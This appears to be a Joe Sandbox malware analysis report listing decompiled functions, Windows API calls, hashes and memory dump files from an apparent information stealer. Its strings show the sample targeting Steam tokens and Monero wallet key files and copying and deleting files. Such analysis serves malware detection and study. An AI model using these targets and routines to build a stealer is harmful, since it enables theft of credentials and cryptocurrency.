Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d25891d534afb75598841798848c522d4c9fbcc8d113f534cb04a8edc7fbb45
Instruction ID: 1aabbe9a24cd936be3530e51c45d5be84433a2a106fac6938847b0e6923ceb7a
Opcode Fuzzy Hash: 3d25891d534afb75598841798848c522d4c9fbcc8d113f534cb04a8edc7fbb45
Instruction Fuzzy Hash: EC6137B4D00248DFCF18CF95E994BEEB7B0BB28344F508598E41967280D735AE94DF91

Function 001F70D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 001F718C

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: ac0457f93a5790dbe29eb6c081baa9ad8771bacbdec7df003ddbfadf68d52af6
Instruction ID: 246e886355d101a8d9113262041c545fba291da59541040fe09de8d2b4096a1f
Opcode Fuzzy Hash: ac0457f93a5790dbe29eb6c081baa9ad8771bacbdec7df003ddbfadf68d52af6
Instruction Fuzzy Hash: C8516BB0D0421CABDB24EBA0DC95BFEB774AF54304F6041A8E619671C2EB746E88CF55

Function 001F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

lstrlen.KERNEL32(00000000,00000000,00200ACA), ref: 001F512A

Strings

steam_tokens.txt, xrefs: 001F513F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: a669877085d41f29a24946d4bb0309261c3abfd0c79ce8617abfa1b81bab61de
Instruction ID: d72d85310986c7d4672518bd765ceeb62a6e2c65a1f0ff1698ee4c5717a64dd4
Opcode Fuzzy Hash: a669877085d41f29a24946d4bb0309261c3abfd0c79ce8617abfa1b81bab61de
Instruction Fuzzy Hash: 6CF01DB191020C66DB04F7B0DC57DFD773C9F65340F804268BA5A62092EF396619C6A7

Function 001F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00200E2C), ref: 001F7F00
wsprintfA.USER32 ref: 001F7F16

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 2badaf90dbc47fe280acf1d596638c3508484bc8ba28379ae6a60531bbe90d67
Instruction ID: 8c5ea70358b4a05e7f91ab87348162f134f16b94340c0e5e271a6d6a1e5c411c
Opcode Fuzzy Hash: 2badaf90dbc47fe280acf1d596638c3508484bc8ba28379ae6a60531bbe90d67
Instruction Fuzzy Hash: 21F096B1A04208EBC714CF84DC45FBAF7BCF745714F400669FA1592280D77559148BD5

Function 001EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

lstrlen.KERNEL32(00000000), ref: 001EB9C2
lstrlen.KERNEL32(00000000), ref: 001EB9D6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f7f1e67a15d505573a716aa9eac4438d4a741da03aade6202c3b53343d0ba3c2
Instruction ID: c4aa6ee4acd1023a039e541660fa4653fbc2cb12c56323ee5d2c69430a96554b
Opcode Fuzzy Hash: f7f1e67a15d505573a716aa9eac4438d4a741da03aade6202c3b53343d0ba3c2
Instruction Fuzzy Hash: 03E1E1B291011C9BDB15FBA0CC92DFE7338BF64341F804169F60A66091EF786A59CB66

Function 001EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrlen.KERNEL32(00000000), ref: 001EB16A
lstrlen.KERNEL32(00000000), ref: 001EB17E

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b38f663312654e122c7cf17e7e04f3d96fa31afac1e17893ba934dc667a6a3d6
Instruction ID: f500954318e44b03ed36d5e2b022aa110c1ed8f394d4de2db468047c9dc070cc
Opcode Fuzzy Hash: b38f663312654e122c7cf17e7e04f3d96fa31afac1e17893ba934dc667a6a3d6
Instruction Fuzzy Hash: 2E9105B191010C9BDB14FBA0DC95DFE7338BF64341FC04169F60AA6091EF786A19CBA6

Function 001EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

lstrlen.KERNEL32(00000000), ref: 001EB42E
lstrlen.KERNEL32(00000000), ref: 001EB442

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: d34f7045fae5c20ee8377ca43bb7ddb54a3604353ca8cd91383160d89807a80f
Instruction ID: 920743d298f40883f1445d612221665d43f662bd12a4a8d28c58e37188cfef9d
Opcode Fuzzy Hash: d34f7045fae5c20ee8377ca43bb7ddb54a3604353ca8cd91383160d89807a80f
Instruction Fuzzy Hash: E17114B191010C9BDB14FBA0DC96DFE7378BF64340F844528F60AA7091EF786A19CB62

Function 001F4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4BEA
lstrcat.KERNEL32(?,011DD138), ref: 001F4C08

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49B0
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,002008D2), ref: 001F49C5
Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49E2
Part of subcall function 001F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001F4A1E
Part of subcall function 001F4910: lstrcat.KERNEL32(?,011DE2A0), ref: 001F4A4A
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FF8), ref: 001F4A5C
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A70
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FFC), ref: 001F4A82
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A96
Part of subcall function 001F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001F4AAC
Part of subcall function 001F4910: DeleteFileA.KERNEL32(?), ref: 001F4B31

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F4A07

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

